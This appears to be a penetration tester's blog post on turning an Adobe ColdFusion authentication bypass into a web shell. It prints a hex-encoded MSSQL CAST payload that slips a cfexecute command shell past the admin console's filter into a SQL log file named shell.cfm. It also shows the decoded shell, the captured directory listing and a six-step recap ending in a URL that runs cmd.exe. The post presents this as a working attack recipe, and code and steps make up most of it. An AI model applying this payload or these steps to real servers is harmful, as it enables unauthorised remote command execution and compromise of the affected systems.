So on a recent test I happened to run into an instance of the new(ish) Adobe ColdFusion authentication bypass (http://www.adobe.com/support/security/advisories/apsa13-01.html). This is extremely easy to exploit and gets you access to ColdFusion's administrative interface. If you can find the path to administrator.cfc, accessing the following URL's in sequence is all it should take to get you admin access:
So what can you do from the admin console? See slides 82-102 on post exploitation by Chris Gates http://www.slideshare.net/chrisgates/coldfusion-for-penetration-testers
But what if the machine you're attacking doesn't allow any outbound traffic, or outbound traffic is tightly controlled? This makes it difficult to abuse the "Task Scheduler" to retrieve a file off your remote web server. Another issue I ran into was that the "System Probes" function simply did not exist in the version of ColdFusion I was attacking.
So what's left? Well the if you poke around long enough, you'll notice under the "Advanced Options" for a data source in the "Data Sources" tab under "Data and Services", there are two interesting settings. The first allows you to log all database activity to a file specified on the local server. The second allows you to specify a "Validation Query". This query will be run to check if the current database connection is still alive before any database activity is performed. Unfortunately, the results of the query are NOT returned, so basically we have blind or error based SQL injection here.
We can take advantage of blind/error based SQL injection in a number of ways. The first that comes to mind would be to try and get command execution on the database server itself, if the datasource is MSSQL we can use the well known xp_cmdshell attack. Unfortunately for me, the database permissions were locked down quite tightly.
The second, more reliable, and more interesting way, is to create a CFM command shell by injecting malicious input into the SQL log file! This is possible because we get to choose the name for the log file (for example shell.cfm), and ColdFusion allows us to use the CFM or JSP extensions (JSP only works in the enterprise version).
Unfortunately, by default ColdFusion filters anything in angle brackets "<...>" from our "Validation Query". So we can't just straight up use a Validation Query like the following:
"SELECT '<cfexecute name="c:\windows\system32\cmd.exe" arguments="/c dir" variable="data" timeout="10" /><cfdump var="#data#">'
ColdFusion will filter it all out and we'll be left with nothing in our log file.
What we can do is abuse MSSQL to get our desired output in the log file. Consider what you would do if you had error based MSSQL injection? You try to get the server to throw an error that includes the output from your subquery. My favorite way to do that on MSSQL is to CAST to an incompatible type. Consider the following query:
SELECT CAST( (SELECT TOP 1 (SELECT CAST(0x3c636665786563757465206e616d653d22633a5c77696e646f77735c73797374656d33325c636d642e6578652220617267756d656e74733d222f632064697222207661726961626c653d2264617461222074696d656f75743d22313022202f3e3c636664756d70207661723d22236461746123223e AS VARCHAR(4000)))) AS int)
Let's look at it from the inside out. First, we cast a bunch of hex (the payload) to a VARCHAR(4000). This is a completely valid cast and will not throw an error, in fact, it will return the following result:
<cfexecute name="c:\windows\system32\cmd.exe" arguments="/c dir" variable="data" timeout="10" /><cfdump var="#data#">
Look familiar? Next we do a SELECT TOP 1, this was just necessary because the inner most query returns multiple rows. The outermost query creates the cast that causes the error to be thrown, it tries to cast our payload string to an INT! Well the error includes the text from our shell and since the file extension is CFM, the server will execute it!
So using the shell example I gave here, you should be able to access:
And in the response you should see the following:
*censored*>> Statement.execute(String sql)
*censored*>> sql = SELECT CAST( (SELECT TOP 1 (SELECT CAST(0x3c636673657420636f6d6d616e64203d2075726c5b27636d64275d202f3e3c6366736574206f707473203d2075726c5b276f707473275d202f3e3c636665786563757465206e616d653d2223636f6d6d616e64232220617267756d656e74733d22236f7074732322207661726961626c653d2264617461222074696d656f75743d223222202f3e3c636664756d70207661723d22236461746123223e AS VARCHAR(4000)))) AS int)
*censored*>> java.sql.SQLDataException: [Macromedia][SQLServer JDBC Driver][SQLServer]Conversion failed when converting the varchar value ' <style>
Volume in drive C is ROOT
Volume Serial Number is YYYYY
Directory of C:\*CENSORED*
03/26/2013 04:42 PM <DIR> .
03/26/2013 04:42 PM <DIR> ..
11/08/2007 02:39 PM 2,151 file1.cfm
11/08/2007 02:39 PM 2,813 file2.cfm
07/15/2011 12:57 PM <DIR> admin
05/22/2008 03:01 PM 6,076 file3.cfm
07/11/2008 03:32 PM 5,006 file4.cfm
09/21/2011 10:36 AM <DIR> dir1
07/15/2011 01:27 PM <DIR> dir2
09/17/2008 03:20 PM 1,359 file5.cfm
XX File(s) 198,665,851 bytes
XX Dir(s) 6,971,301,888 bytes free ' to data type int. ErrorCode=245 SQLState=22018
And there you have it. We've just bypasses ColdFusions filters to inject a command shell into a SQL log file. Here's a quick recap of the steps:
1) Get access to the admin console via the authentication bypass
2) Find the web root on the server, look under Server Monitoring in the "application" log
3) Edit a datasource: add the malicious validation query highlighted in GREEN above
4) For the same datasource, enable logging of SQL activity to a file in the web root named "shell.cfm"
5) Save the changes (this will cause the "Validation Query" to be issued as well)
6) Access the log at https://<URL>/shell.cfm?cmd=C:\Windows\System32\cmd.exe&opts=%2fc%20dir